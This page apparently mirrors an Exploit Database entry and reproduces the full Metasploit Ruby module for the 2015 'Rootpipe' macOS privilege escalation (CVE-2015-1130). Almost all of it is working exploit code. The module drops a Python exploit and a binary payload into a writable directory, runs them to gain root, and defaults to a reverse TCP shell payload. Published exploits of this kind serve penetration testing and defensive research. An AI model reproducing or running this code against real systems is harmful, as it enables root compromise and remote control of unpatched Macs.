Apple Mac OSX – ‘Rootpipe’ Local Privilege Escalation (Metasploit)

• Exploit Database
• 14 阅读

• 作者： Metasploit
  日期： 2015-04-13
• 类别：

  • local
  平台：

  • osx
• 来源：https://www.exploit-db.com/exploits/36745/

• ##
  # This module requires Metasploit: http://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  require 'msf/core'
  
  class Metasploit4 < Msf::Exploit::Local
  
  Rank = GreatRanking
  
  include Msf::Post::OSX::System
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'Mac OS X "Rootpipe" Privilege Escalation',
  'Description'=> %q{
  This module exploits a hidden backdoor API in Apple's Admin framework on
  Mac OS X to escalate privileges to root. Dubbed "Rootpipe."
  
  Tested on Yosemite 10.10.2 and should work on previous versions.
  
  The patch for this issue was not backported to older releases.
  
  Note: you must run this exploit as an admin user to escalate to root.
  },
  'Author' => [
  'Emil Kvarnhammar', # Vulnerability discovery and PoC
  'joev', # Copy/paste monkey
  'wvu' # Meta copy/paste monkey
  ],
  'References' => [
  ['CVE', '2015-1130'],
  ['OSVDB', '114114'],
  ['EDB', '36692'],
  ['URL', 'https://truesecdev.wordpress.com/2015/04/09/hidden-backdoor-api-to-root-privileges-in-apple-os-x/']
  ],
  'DisclosureDate' => 'Apr 9 2015',
  'License'=> MSF_LICENSE,
  'Platform' => 'osx',
  'Arch' => ARCH_X86_64,
  'SessionTypes' => ['shell'],
  'Targets'=> [
  ['Mac OS X 10.9-10.10.2', {}]
  ],
  'DefaultTarget'=> 0,
  'DefaultOptions' => {
  'PAYLOAD' => 'osx/x64/shell_reverse_tcp',
  'CMD' => '/bin/zsh'
  }
  ))
  
  register_options([
  OptString.new('PYTHON',[true, 'Python executable', '/usr/bin/python']),
  OptString.new('WritableDir', [true, 'Writable directory', '/.Trashes'])
  ])
  end
  
  def check
  (ver? && admin?) ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe
  end
  
  def exploit
  print_status("Writing exploit to `#{exploit_file}'")
  write_file(exploit_file, python_exploit)
  register_file_for_cleanup(exploit_file)
  
  print_status("Writing payload to `#{payload_file}'")
  write_file(payload_file, binary_payload)
  register_file_for_cleanup(payload_file)
  
  print_status('Executing exploit...')
  cmd_exec(sploit)
  print_status('Executing payload...')
  cmd_exec(payload_file)
  end
  
  def ver?
  Gem::Version.new(get_sysinfo['ProductVersion']).between?(
  Gem::Version.new('10.9'), Gem::Version.new('10.10.2')
  )
  end
  
  def admin?
  cmd_exec('groups | grep -wq admin && echo true') == 'true'
  end
  
  def sploit
  "#{datastore['PYTHON']} #{exploit_file} #{payload_file} #{payload_file}"
  end
  
  def python_exploit
  File.read(File.join(
  Msf::Config.data_directory, 'exploits', 'CVE-2015-1130', 'exploit.py'
  ))
  end
  
  def binary_payload
  Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
  end
  
  def exploit_file
  @exploit_file ||=
  "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}"
  end
  
  def payload_file
  @payload_file ||=
  "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}"
  end
  
  end